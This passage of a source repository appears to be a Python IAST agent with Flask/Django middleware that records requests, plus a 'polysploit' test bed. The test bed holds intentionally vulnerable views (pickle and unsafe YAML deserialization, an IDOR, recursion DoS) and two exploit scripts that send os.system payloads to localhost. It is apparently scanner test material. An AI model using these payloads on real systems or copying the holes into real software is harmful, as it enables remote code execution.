85 | """
86 | Динамически извлекает настройки из Django-проекта.
87 | :return: Словарь с настройками.
88 | """
89 | settings_dict = {
90 | setting: getattr(settings, setting)
91 | for setting in dir(settings)
92 | if setting.isupper()
93 | }
94 |
95 | # Форматируем в строку
96 | settings_dict = {key: str(value) for key, value in settings_dict.items()}
97 | return settings_dict
98 |
--------------------------------------------------------------------------------
/immunity_agent/middlewares/flask_middleware.py:
--------------------------------------------------------------------------------
1 | """
2 | Промежуточное ПО для интеграции агента Immunity IAST с фреймворком Flask.
3 |
4 | Этот модуль предоставляет промежуточное программное обеспечение (middleware) для фреймворка Flask,
5 | которое позволяет интегрировать агент Immunity IAST для мониторинга и анализа запросов и ответов.
6 | """
7 |
8 | import json
9 | import sys
10 | from io import BytesIO
11 | from typing import Any, Dict, List, Tuple
12 | from urllib.parse import parse_qs
13 | import pkg_resources
14 |
15 | from immunity_agent.api.client import Client
16 | from immunity_agent.control_flow import ControlFlowBuilder
17 | from immunity_agent.logger import logger_config
18 |
19 | logger = logger_config("Immunity Flask middleware")
20 |
21 |
22 | class ImmunityFlaskMiddleware: # pylint: disable=too-few-public-methods
23 | """
24 | Промежуточное ПО для инструментирования фреймворка Flask.
25 |
26 | Этот класс реализует промежуточное ПО для фреймворка Flask, которое
27 | интегрирует агент Immunity IAST для мониторинга и анализа запросов
28 | и ответов.
29 |
30 | :param app: Экземпляр приложения Flask.
31 | :type app: Flask
32 | :param base_path: Базовый путь к приложению.
33 | :type base_path: str
34 | """
35 |
36 | def __init__(self, app: object, app_object: object):
37 | """
38 | Конструктор класса.
39 |
40 | Устанавливает приложение Flask, базовый путь и создаёт экземпляр клиента API.
41 |
42 | :param app: Экземпляр приложения Flask.
43 | :type app: Flask
44 | :param base_path: Базовый путь к приложению.
45 | :type base_path: str
46 | """
47 | self.app = app
48 | self.base_path = app_object.root_path
49 | self.api_client = Client()
50 | self.project = self.api_client.project
51 | self.status = None
52 | self.headers = None
53 | self.control_flow = None
54 | logger.info("Агент Immunity IAST активирован.")
55 |
56 | self.api_client.upload_config(json.dumps({key: str(value) for key, value in app_object.config.items()}), self.project, "flask")
57 | self.api_client.upload_dependencies(json.dumps({d.key: d.version for d in pkg_resources.working_set}), self.project)
58 |
59 | def __call__(self, environ: Dict[str, str], start_response: callable) -> bytes:
60 | """
61 | Переопределяем метод вызова.
62 |
63 | Этот метод перехватывает запросы и ответы, собирает информацию о них и передает её в API.
64 |
65 | :param environ: Словарь окружения WSGI.
66 | :type environ: Dict[str, str]
67 | :param start_response: Функция начала ответа.
68 | :type start_response: Callable[[str, List[Tuple[str, str]], Any], None]
69 | :return: Ответ.
70 | :rtype: bytes
71 | """
72 | # Перехват входящего запроса
73 | request_info = self._capture_request(environ)
74 |
75 | # Буфер для записи ответа
76 | response_body = []
77 |
78 | def custom_start_response(
79 | response_status: str,
80 | response_headers: List[Tuple[str, str]],
81 | exc_info: Any = None,
82 | ) -> None:
83 | """
84 | Модификация функции начала ответа для сохранения статуса и заголовков.
85 |
86 | :param response_status: Статус ответа.
87 | :type response_status: str
88 | :param response_headers: Заголовки ответа.
89 | :type response_headers: List[Tuple[str, str]]
90 | :param exc_info: Информация об исключении.
91 | :type exc_info: Any
92 | """
93 | # Сохранение данных о статусе и заголовках
94 | self.status = response_status
95 | self.headers = response_headers
96 | # Передача управления оригинальному start_response
97 | return start_response(response_status, response_headers, exc_info)
98 |
99 | self.control_flow = ControlFlowBuilder(project_root=self.base_path)
100 | sys.settrace(self.control_flow.trace_calls)
101 |
102 | # Вызов приложения с модифицированным start_response
103 | app_iter = self.app(environ, custom_start_response)
104 |
105 | try:
106 | # Сбор ответа из app_iter
107 | for data in app_iter:
108 | response_body.append(data)
109 | yield data
110 | finally:
111 | # Закрываем итератор, если он поддерживает метод close()
112 | if hasattr(app_iter, "close"):
113 | app_iter.close()
114 |
115 | # Анализируем полный ответ (после сборки всего тела)
116 | response_data = b"".join(response_body)
117 | response_info = self._capture_response(self.status, self.headers, response_data)
118 |
119 | self.api_client.upload_context(
120 | request_info["path"],
121 | self.project,
122 | json.dumps(request_info),
123 | self.control_flow.serialize(),
124 | json.dumps(response_info),
125 | )
126 |
127 | def _capture_request(self, environ: Dict[str, str]) -> Dict[str, any]:
128 | """
129 | Сбор информации о запросе из WSGI environ.
130 |
131 | :param environ: Словарь окружения WSGI.
132 | :type environ: Dict[str, str]
133 | :return: Информация о запросе.
134 | :rtype: Dict[str, any]
135 | """
136 | request_info = {
137 | "method": environ.get("REQUEST_METHOD"),
138 | "path": environ.get("PATH_INFO"),
139 | "query": parse_qs(environ.get("QUERY_STRING", "")),
140 | "headers": self._extract_headers(environ),
141 | }
142 |
143 | # Чтение тела запроса
144 | try:
145 | request_body = environ["wsgi.input"].read(
146 | int(environ.get("CONTENT_LENGTH", 0) or 0)
147 | )
148 | environ["wsgi.input"] = self._reset_stream(request_body) # Сохраняем поток
149 | request_info["body"] = request_body.decode("utf-8")
150 | except Exception: # pylint: disable=broad-except
151 | request_info["body"] = None
152 |
153 | return request_info
154 |
155 | def _capture_response(
156 | self, status: str, headers: List[Tuple[str, str]], body: bytes
157 | ) -> Dict[str, any]:
158 | """
159 | Сбор информации об ответе.
160 |
161 | :param status: Статус ответа.
162 | :type status: str
163 | :param headers: Заголовки ответа.
164 | :type headers: List[Tuple[str, str]]
165 | :param body: Тело ответа.
166 | :type body: bytes
167 | :return: Информация об ответе.
168 | :rtype: Dict[str, any]
169 | """
170 | return {
171 | "status": status,
172 | "headers": dict(headers),
173 | "body": body.decode("utf-8") if body else None,
174 | }
175 |
176 | def _extract_headers(self, environ: Dict[str, str]) -> Dict[str, str]:
177 | """
178 | Извлечение заголовков из WSGI environ.
179 |
180 | :param environ: Словарь окружения WSGI.
181 | :type environ: Dict[str, str]
182 | :return: Заголовки запроса.
183 | :rtype: Dict[str, str]
184 | """
185 | return {
186 | key[5:]: value for key, value in environ.items() if key.startswith("HTTP_")
187 | }
188 |
189 | def _reset_stream(self, body: bytes) -> BytesIO:
190 | """
191 | Восстанавливает wsgi.input поток после чтения.
192 |
193 | :param body: Данные тела запроса.
194 | :type body: bytes
195 | :return: Поток байтов.
196 | :rtype: BytesIO
197 | """
198 | return BytesIO(body)
199 |
--------------------------------------------------------------------------------
/immunity_agent/request/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/request/__init__.py
--------------------------------------------------------------------------------
/immunity_agent/request/django_request.py:
--------------------------------------------------------------------------------
1 | """
2 | Класс для сериализации запросов в фреймворке Django.
3 |
4 | Этот модуль предоставляет функциональность для сериализации запросов в фреймворке Django,
5 | что позволяет передавать данные в API для дальнейшего анализа.
6 | """
7 |
8 | import json
9 | from typing import Any, Dict, Union
10 |
11 | from immunity_agent.logger import logger_config
12 |
13 | logger = logger_config("Immunity Django request handler")
14 |
15 |
16 | class DjangoRequest:
17 | """
18 | Класс, описывающий логику сериализации Django-запросов.
19 |
20 | Этот класс предоставляет методы для преобразования объектов запросов Django в JSON-формат,
21 | что позволяет отправлять данные в API для последующего анализа.
22 |
23 | :param request: Объект запроса Django.
24 | :type request: HttpRequest
25 | """
26 |
27 | @staticmethod
28 | def serialize_request_item(
29 | request_components_dict: Dict[str, Union[str, Any]]
30 | ) -> Dict[str, str]:
31 | """
32 | Метод, возвращающий сериализованные компоненты запроса.
33 |
34 | Этот метод преобразовывает значения компонентов запроса в строку и возвращает результат.
35 |
36 | :param request_components_dict: Словарь компонентов запроса.
37 | :type request_components_dict: Dict[str, Union[str, Any]]
38 | :return: Сериализованная версия компонентов запроса.
39 | :rtype: Dict[str, str]
40 | """
41 | result = {}
42 | for key, value in request_components_dict.items():
43 | result[key] = str(value)
44 | return result
45 |
46 | @staticmethod
47 | def serialize(request: object, indentation: int = None) -> str:
48 | """
49 | Метод, возвращающий сериализованную версию запроса.
50 |
51 | Этот метод объединяет все компоненты запроса в единый JSON-объект и возвращает его.
52 |
53 | :param request: Объект запроса Django.
54 | :type request: HttpRequest
55 | :param indentation: Уровень отступа для форматированного вывода.
56 | :type indentation: int
57 | :return: Сериализованный запрос в формате JSON.
58 | :rtype: str
59 | """
60 | return json.dumps(
61 | {
62 | "method": request.method,
63 | "path": request.path,
64 | "body": str(request.body),
65 | "headers": DjangoRequest.serialize_request_item(request.headers),
66 | "user": str(request.user),
67 | "GET": request.GET.dict(),
68 | "POST": request.POST.dict(),
69 | "COOKIES": request.COOKIES,
70 | "FILES": request.FILES.dict(),
71 | "META": DjangoRequest.serialize_request_item(request.META),
72 | },
73 | indent=indentation,
74 | )
75 |
--------------------------------------------------------------------------------
/immunity_agent/response/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/response/__init__.py
--------------------------------------------------------------------------------
/immunity_agent/response/django_response.py:
--------------------------------------------------------------------------------
1 | """
2 | Класс для сериализации ответов в фреймворке Django.
3 |
4 | Этот модуль предоставляет функциональность для сериализации ответов в фреймворке Django,
5 | что позволяет передавать данные в API для дальнейшего анализа.
6 | """
7 |
8 | import json
9 | from typing import Any, Dict, Union
10 |
11 | from django.http import HttpResponse
12 |
13 | from immunity_agent.logger import logger_config
14 |
15 | logger = logger_config("Immunity Django response handler")
16 |
17 |
18 | class DjangoResponse:
19 | """
20 | Класс, описывающий логику сериализации Django-ответов.
21 |
22 | Этот класс предоставляет методы для преобразования объектов ответов Django в JSON-формат,
23 | что позволяет отправлять данные в API для последующего анализа.
24 |
25 | :param response: Объект ответа Django.
26 | :type response: HttpResponse
27 | """
28 |
29 | @staticmethod
30 | def serialize_response_item(
31 | response_components_dict: Dict[str, Union[str, Any]]
32 | ) -> Dict[str, str]:
33 | """
34 | Метод, возвращающий сериализованные компоненты ответа.
35 |
36 | Этот метод преобразовывает значения компонентов ответа в строку и возвращает результат.
37 |
38 | :param response_components_dict: Словарь компонентов ответа.
39 | :type response_components_dict: Dict[str, Union[str, Any]]
40 | :return: Сериализованная версия компонентов ответа.
41 | :rtype: Dict[str, str]
42 | """
43 | result = {}
44 | for key, value in response_components_dict.items():
45 | result[key] = str(value)
46 | return result
47 |
48 | @staticmethod
49 | def serialize(response: HttpResponse, indentation: int = None) -> str:
50 | """
51 | Метод, возвращающий сериализованную версию ответа.
52 |
53 | Этот метод объединяет все компоненты ответа в единый JSON-объект и возвращает его.
54 |
55 | :param response: Объект ответа Django.
56 | :type response: HttpResponse
57 | :param indentation: Уровень отступа для форматированного вывода.
58 | :type indentation: int
59 | :return: Сериализованный ответ в формате JSON.
60 | :rtype: str
61 | """
62 | return json.dumps(
63 | {
64 | "status": response.status_code,
65 | "headers": DjangoResponse.serialize_response_item(response.headers),
66 | "body": str(response.content),
67 | "content_type": response.get("content-type"),
68 | "content_length": response.get("content-length"),
69 | "charset": response.get("charset"),
70 | "version": response.get("version"),
71 | "reason_phrase": response.reason_phrase,
72 | "cookies": DjangoResponse.serialize_response_item(response.cookies),
73 | "streaming": response.streaming,
74 | },
75 | indent=indentation,
76 | )
77 |
--------------------------------------------------------------------------------
/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """Django's command-line utility for administrative tasks."""
3 | import os
4 | import sys
5 |
6 |
7 | def main():
8 | """Run administrative tasks."""
9 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings")
10 | try:
11 | from django.core.management import execute_from_command_line
12 | except ImportError as exc:
13 | raise ImportError(
14 | "Couldn't import Django. Are you sure it's installed and "
15 | "available on your PYTHONPATH environment variable? Did you "
16 | "forget to activate a virtual environment?"
17 | ) from exc
18 | execute_from_command_line(sys.argv)
19 |
20 |
21 | if __name__ == "__main__":
22 | main()
23 |
--------------------------------------------------------------------------------
/polysploit/django/conf/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/conf/__init__.py
--------------------------------------------------------------------------------
/polysploit/django/conf/asgi.py:
--------------------------------------------------------------------------------
1 | """
2 | ASGI config for conf project.
3 |
4 | It exposes the ASGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/5.1/howto/deployment/asgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.asgi import get_asgi_application
13 |
14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings")
15 |
16 | application = get_asgi_application()
17 |
--------------------------------------------------------------------------------
/polysploit/django/conf/settings.py:
--------------------------------------------------------------------------------
1 | """
2 | Django settings for conf project.
3 |
4 | Generated by 'django-admin startproject' using Django 5.1.5.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/5.1/topics/settings/
8 |
9 | For the full list of settings and their values, see
10 | https://docs.djangoproject.com/en/5.1/ref/settings/
11 | """
12 |
13 | from pathlib import Path
14 |
15 | # Build paths inside the project like this: BASE_DIR / 'subdir'.
16 | BASE_DIR = Path(__file__).resolve().parent.parent
17 |
18 |
19 | # Quick-start development settings - unsuitable for production
20 | # See https://docs.djangoproject.com/en/5.1/howto/deployment/checklist/
21 |
22 | # SECURITY WARNING: keep the secret key used in production secret!
23 | SECRET_KEY = "django-insecure-v_-kkpk*o3et&t*&3ayl6bpmm@i3q=fj(4l!kr&+iutm4@g^ys"
24 |
25 | # SECURITY WARNING: don't run with debug turned on in production!
26 | DEBUG = True
27 |
28 | ALLOWED_HOSTS = ['*']
29 |
30 |
31 | # Application definition
32 |
33 | INSTALLED_APPS = [
34 | "django.contrib.admin",
35 | "django.contrib.auth",
36 | "django.contrib.contenttypes",
37 | "django.contrib.sessions",
38 | "django.contrib.messages",
39 | "django.contrib.staticfiles",
40 | "example"
41 | ]
42 |
43 | MIDDLEWARE = [
44 | "django.middleware.security.SecurityMiddleware",
45 | "django.contrib.sessions.middleware.SessionMiddleware",
46 | "django.middleware.common.CommonMiddleware",
47 | "django.middleware.csrf.CsrfViewMiddleware",
48 | "django.contrib.auth.middleware.AuthenticationMiddleware",
49 | "django.contrib.messages.middleware.MessageMiddleware",
50 | "django.middleware.clickjacking.XFrameOptionsMiddleware",
51 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware"
52 | ]
53 |
54 | ROOT_URLCONF = "conf.urls"
55 |
56 | TEMPLATES = [
57 | {
58 | "BACKEND": "django.template.backends.django.DjangoTemplates",
59 | "DIRS": [],
60 | "APP_DIRS": True,
61 | "OPTIONS": {
62 | "context_processors": [
63 | "django.template.context_processors.debug",
64 | "django.template.context_processors.request",
65 | "django.contrib.auth.context_processors.auth",
66 | "django.contrib.messages.context_processors.messages",
67 | ],
68 | },
69 | },
70 | ]
71 |
72 | WSGI_APPLICATION = "conf.wsgi.application"
73 |
74 |
75 | # Database
76 | # https://docs.djangoproject.com/en/5.1/ref/settings/#databases
77 |
78 | DATABASES = {
79 | "default": {
80 | "ENGINE": "django.db.backends.sqlite3",
81 | "NAME": BASE_DIR / "db.sqlite3",
82 | }
83 | }
84 |
85 |
86 | # Password validation
87 | # https://docs.djangoproject.com/en/5.1/ref/settings/#auth-password-validators
88 |
89 | AUTH_PASSWORD_VALIDATORS = [
90 | {
91 | "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator",
92 | },
93 | {
94 | "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator",
95 | },
96 | {
97 | "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator",
98 | },
99 | {
100 | "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator",
101 | },
102 | ]
103 |
104 |
105 | # Internationalization
106 | # https://docs.djangoproject.com/en/5.1/topics/i18n/
107 |
108 | LANGUAGE_CODE = "en-us"
109 |
110 | TIME_ZONE = "UTC"
111 |
112 | USE_I18N = True
113 |
114 | USE_TZ = True
115 |
116 |
117 | # Static files (CSS, JavaScript, Images)
118 | # https://docs.djangoproject.com/en/5.1/howto/static-files/
119 |
120 | STATIC_URL = "static/"
121 |
122 | # Default primary key field type
123 | # https://docs.djangoproject.com/en/5.1/ref/settings/#default-auto-field
124 |
125 | DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField"
126 |
--------------------------------------------------------------------------------
/polysploit/django/conf/urls.py:
--------------------------------------------------------------------------------
1 | """
2 | URL configuration for conf project.
3 |
4 | The `urlpatterns` list routes URLs to views. For more information please see:
5 | https://docs.djangoproject.com/en/5.1/topics/http/urls/
6 | Examples:
7 | Function views
8 | 1. Add an import: from my_app import views
9 | 2. Add a URL to urlpatterns: path('', views.home, name='home')
10 | Class-based views
11 | 1. Add an import: from other_app.views import Home
12 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
13 | Including another URLconf
14 | 1. Import the include() function: from django.urls import include, path
15 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
16 | """
17 |
18 | import pickle
19 | from yaml import *
20 | import base64
21 | from django.contrib import admin
22 | from django.urls import path
23 | from django.views.decorators.csrf import csrf_exempt
24 | from django.http import HttpResponse
25 | from django.shortcuts import get_object_or_404, render
26 | from example.models import *
27 |
28 | import sys
29 | sys.setrecursionlimit(150000)
30 |
31 | @csrf_exempt
32 | def vulnerable_view_1(request):
33 |
34 | if request.method == 'POST':
35 | data = request.POST.get('data')
36 | decoded_data = base64.b64decode(data.encode('utf-8'))
37 | # Десериализуем данные с помощью pickle
38 | deserialized_data = pickle.loads(decoded_data)
39 | return HttpResponse(f'Deserialized data: {deserialized_data}')
40 | else:
41 | return HttpResponse("Method not allowed")
42 |
43 | @csrf_exempt
44 | def vulnerable_view_2(request):
45 |
46 | if request.method == 'POST':
47 | data = request.POST.get('data')
48 | # Десериализуем данные с помощью yaml
49 | deserialized_data = unsafe_load(data)
50 | return HttpResponse(f'Deserialized data: {deserialized_data}')
51 | else:
52 | return HttpResponse("Method not allowed")
53 |
54 | def recursive_function(n):
55 | if n == 0:
56 | return 1
57 | else:
58 | return n * recursive_function(n - 1)
59 |
60 | def vulnerable_resource(request):
61 |
62 | n = int(request.GET.get('n', '10'))
63 | result = recursive_function(n)
64 | return HttpResponse(f'Factorial of {n}: {result}')
65 |
66 | def vulnerable_resource_2(request):
67 |
68 | num_reports = int(request.GET.get('num', '10'))
69 | for i in range(num_reports):
70 | report = Report()
71 | report.title = f'Report #{i}'
72 | report.content = 'Some content'
73 | report.save()
74 |
75 | return HttpResponse(f'{num_reports} reports generated')
76 |
77 | def view_profile(request, profile_id):
78 |
79 | profile = get_object_or_404(UserProfile, id=profile_id)
80 | context = {
81 | 'phone_number': profile.phone_number,
82 | }
83 | return HttpResponse(f'{context}')
84 |
85 | def view_profile_patched(request, profile_id):
86 |
87 | profile = get_object_or_404(UserProfile, id=profile_id, user=request.user)
88 | context = {
89 | 'phone_number': profile.phone_number,
90 | }
91 | return HttpResponse(f'{context}')
92 |
93 | urlpatterns = [
94 | path("admin/", admin.site.urls),
95 | path("deserialize/1/", vulnerable_view_1),
96 | path("deserialize/2/", vulnerable_view_2),
97 | path("resource/1/", vulnerable_resource),
98 | path("resource/2/", vulnerable_resource_2),
99 | path("profile//", view_profile),
100 | path("get_profile//", view_profile_patched),
101 | ]
102 |
--------------------------------------------------------------------------------
/polysploit/django/conf/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for conf project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/5.1/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings")
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/polysploit/django/example/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/example/__init__.py
--------------------------------------------------------------------------------
/polysploit/django/example/admin.py:
--------------------------------------------------------------------------------
1 | from django.contrib import admin
2 | from .models import *
3 |
4 | admin.site.register(Report)
5 | admin.site.register(UserProfile)
6 |
--------------------------------------------------------------------------------
/polysploit/django/example/apps.py:
--------------------------------------------------------------------------------
1 | from django.apps import AppConfig
2 |
3 |
4 | class ExampleConfig(AppConfig):
5 | default_auto_field = "django.db.models.BigAutoField"
6 | name = "example"
7 |
--------------------------------------------------------------------------------
/polysploit/django/example/migrations/0001_initial.py:
--------------------------------------------------------------------------------
1 | # Generated by Django 5.1.5 on 2025-01-26 23:43
2 |
3 | from django.db import migrations, models
4 |
5 |
6 | class Migration(migrations.Migration):
7 |
8 | initial = True
9 |
10 | dependencies = []
11 |
12 | operations = [
13 | migrations.CreateModel(
14 | name="Report",
15 | fields=[
16 | (
17 | "id",
18 | models.BigAutoField(
19 | auto_created=True,
20 | primary_key=True,
21 | serialize=False,
22 | verbose_name="ID",
23 | ),
24 | ),
25 | ("title", models.CharField(max_length=255)),
26 | ("description", models.TextField(blank=True)),
27 | ("created_at", models.DateTimeField(auto_now_add=True)),
28 | ("updated_at", models.DateTimeField(auto_now=True)),
29 | ],
30 | ),
31 | ]
32 |
--------------------------------------------------------------------------------
/polysploit/django/example/migrations/0002_userprofile.py:
--------------------------------------------------------------------------------
1 | # Generated by Django 5.1.5 on 2025-01-27 00:02
2 |
3 | import django.db.models.deletion
4 | from django.conf import settings
5 | from django.db import migrations, models
6 |
7 |
8 | class Migration(migrations.Migration):
9 |
10 | dependencies = [
11 | ("example", "0001_initial"),
12 | migrations.swappable_dependency(settings.AUTH_USER_MODEL),
13 | ]
14 |
15 | operations = [
16 | migrations.CreateModel(
17 | name="UserProfile",
18 | fields=[
19 | (
20 | "id",
21 | models.BigAutoField(
22 | auto_created=True,
23 | primary_key=True,
24 | serialize=False,
25 | verbose_name="ID",
26 | ),
27 | ),
28 | ("phone_number", models.CharField(max_length=15)),
29 | (
30 | "user",
31 | models.OneToOneField(
32 | on_delete=django.db.models.deletion.CASCADE,
33 | to=settings.AUTH_USER_MODEL,
34 | ),
35 | ),
36 | ],
37 | ),
38 | ]
39 |
--------------------------------------------------------------------------------
/polysploit/django/example/migrations/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/example/migrations/__init__.py
--------------------------------------------------------------------------------
/polysploit/django/example/models.py:
--------------------------------------------------------------------------------
1 | from django.db import models
2 | from django.contrib.auth.models import User
3 |
4 | class UserProfile(models.Model):
5 | user = models.OneToOneField(User, on_delete=models.CASCADE)
6 | phone_number = models.CharField(max_length=15)
7 |
8 | class Report(models.Model):
9 | title = models.CharField(max_length=255)
10 | description = models.TextField(blank=True)
11 | created_at = models.DateTimeField(auto_now_add=True)
12 | updated_at = models.DateTimeField(auto_now=True)
13 |
14 | def __str__(self):
15 | return self.title
16 |
--------------------------------------------------------------------------------
/polysploit/django/example/tests.py:
--------------------------------------------------------------------------------
1 | from django.test import TestCase
2 |
3 | # Create your tests here.
4 |
--------------------------------------------------------------------------------
/polysploit/django/example/views.py:
--------------------------------------------------------------------------------
1 | from django.shortcuts import render
2 |
3 | # Create your views here.
4 |
--------------------------------------------------------------------------------
/polysploit/django/hacked.txt:
--------------------------------------------------------------------------------
1 | Hacked
2 |
--------------------------------------------------------------------------------
/polysploit/django/hacked1.txt:
--------------------------------------------------------------------------------
1 | F_YAML
2 |
--------------------------------------------------------------------------------
/polysploit/django/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | """Django's command-line utility for administrative tasks."""
3 | import os
4 | import sys
5 |
6 |
7 | def main():
8 | """Run administrative tasks."""
9 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings")
10 | try:
11 | from django.core.management import execute_from_command_line
12 | except ImportError as exc:
13 | raise ImportError(
14 | "Couldn't import Django. Are you sure it's installed and "
15 | "available on your PYTHONPATH environment variable? Did you "
16 | "forget to activate a virtual environment?"
17 | ) from exc
18 | execute_from_command_line(sys.argv)
19 |
20 |
21 | if __name__ == "__main__":
22 | main()
23 |
--------------------------------------------------------------------------------
/polysploit/django_exploit.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import pickle
3 | import base64
4 | import yaml
5 |
6 | # Определение вредоносного класса
7 | class Exploit(object):
8 | def __reduce__(self):
9 | return (__import__("os").system, ("echo Hacked > hacked.txt",))
10 |
11 | class Exploit1(object):
12 | def __reduce__(self):
13 | return (__import__("os").system, ("echo F_YAML > hacked1.txt",))
14 |
15 | # Сериализация объекта
16 | exploit_object = Exploit()
17 | serialized_exploit = pickle.dumps(exploit_object)
18 | encoded_exploit = base64.b64encode(serialized_exploit).decode('utf-8')
19 |
20 | # Отправка запроса
21 | url = 'http://127.0.0.1:8000/deserialize/1/'
22 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
23 | payload = {'data': encoded_exploit}
24 | response = requests.post(url, headers=headers, data=payload)
25 |
26 | exploit_object1 = Exploit1()
27 | exploit_yaml = yaml.dump(exploit_object1)
28 | url1 = 'http://127.0.0.1:8000/deserialize/2/'
29 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
30 | payload = {'data': exploit_yaml}
31 | response1 = requests.post(url1, headers=headers, data=payload)
32 |
33 | # Вывод ответа
34 | print(response1.text)
35 |
--------------------------------------------------------------------------------
/polysploit/flask/app.py:
--------------------------------------------------------------------------------
1 | import flask
2 | from flask import jsonify, request
3 | import pickle
4 | from yaml import *
5 | from immunity_agent.middlewares.flask_middleware import ImmunityFlaskMiddleware
6 | import base64
7 | import sys
8 | sys.setrecursionlimit(150000)
9 | app = flask.Flask(__name__)
10 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app)
11 |
12 | @app.route('/deserialize/1/', methods=['POST'])
13 | def vulnerable_route_1():
14 |
15 | data = request.form['data']
16 |
17 | # Декодирование данных Base64
18 | decoded_data = base64.b64decode(data.encode('utf-8'))
19 |
20 | # Десериализация данных с помощью pickle
21 | try:
22 | deserialized_data = pickle.loads(decoded_data)
23 | return f"Десериализированные данные: {deserialized_data}"
24 | except Exception as e:
25 | return f"Ошибка десериализации: {e}", 500
26 |
27 | @app.route('/deserialize/2/', methods=['POST'])
28 | def vulnerable_route_2():
29 |
30 | data = request.form['data']
31 | # Десериализуем данные с помощью yaml
32 | deserialized_data = unsafe_load(data)
33 | return f'Deserialized data: {deserialized_data}'
34 |
35 | def recursive_function(n):
36 | if n == 0:
37 | return 1
38 | else:
39 | return n * recursive_function(n - 1)
40 |
41 | @app.route('/resource/1/', methods=['GET'])
42 | def resource():
43 |
44 | n = int(request.args.get('n', default=10))
45 | result = recursive_function(n)
46 | return f'Factorial of {n}: {result}'
47 |
48 | @app.route('/debug')
49 | def debug_mode():
50 |
51 | app.config['DEBUG'] = True
52 | return 'Debug mode enabled'
53 |
54 | @app.route('/show_debug')
55 | def show_debug_mode():
56 |
57 | return str(app.config['DEBUG'])
58 |
59 | if __name__ == "__main__":
60 | app.run(debug=False)
61 |
--------------------------------------------------------------------------------
/polysploit/flask/hacked.txt:
--------------------------------------------------------------------------------
1 | Hacked
2 |
--------------------------------------------------------------------------------
/polysploit/flask/hacked1.txt:
--------------------------------------------------------------------------------
1 | F_YAML
2 |
--------------------------------------------------------------------------------
/polysploit/flask_exploit.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import pickle
3 | import base64
4 | import yaml
5 |
6 | # Определение вредоносного класса
7 | class Exploit(object):
8 | def __reduce__(self):
9 | return (__import__("os").system, ("echo Hacked > hacked.txt",))
10 |
11 | class Exploit1(object):
12 | def __reduce__(self):
13 | return (__import__("os").system, ("echo F_YAML > hacked1.txt",))
14 |
15 | # Сериализация объекта
16 | exploit_object = Exploit()
17 | serialized_exploit = pickle.dumps(exploit_object)
18 | encoded_exploit = base64.b64encode(serialized_exploit).decode('utf-8')
19 |
20 | # Отправка запроса
21 | url = 'http://127.0.0.1:5000/deserialize/1/'
22 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
23 | payload = {'data': encoded_exploit}
24 | response = requests.post(url, headers=headers, data=payload)
25 |
26 | exploit_object1 = Exploit1()
27 | exploit_yaml = yaml.dump(exploit_object1)
28 | url1 = 'http://127.0.0.1:5000/deserialize/2/'
29 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
30 | payload = {'data': exploit_yaml}
31 | response1 = requests.post(url1, headers=headers, data=payload)
32 |
33 | # Вывод ответа
34 | print(response1.text)
35 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | build-backend = 'setuptools.build_meta'
3 | requires = [
4 | 'setuptools',
5 | ]
6 | [project]
7 | name = "immunity_iast"
8 | version = "0.0.0"
9 | authors = [
10 | { name="l1ghth4t", email="pirogov30002@gmail.com" },
11 | ]
12 | description = "Python-агент Immunity IAST для интерактивного сканирования веб-приложений."
13 | readme = "Readme.md"
14 | requires-python = ">=3.9"
15 | classifiers = [
16 | 'Programming Language :: Python :: 3.11',
17 | 'License :: OSI Approved :: MIT License',
18 | 'Operating System :: OS Independent'
19 | ]
20 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import find_packages, setup
2 |
3 |
4 | def readme():
5 | with open("Readme.md", "r") as f:
6 | return f.read()
7 |
8 |
9 | setup(
10 | name="immunity-python-agent",
11 | version="0.0.0",
12 | author="l1ghth4t",
13 | author_email="pirogov30002@gmail.com",
14 | description="Python-агент Immunity IAST для интерактивного сканирования веб-приложений.",
15 | long_description=readme(),
16 | long_description_content_type="text/markdown",
17 | # url='your_url',
18 | packages=find_packages(),
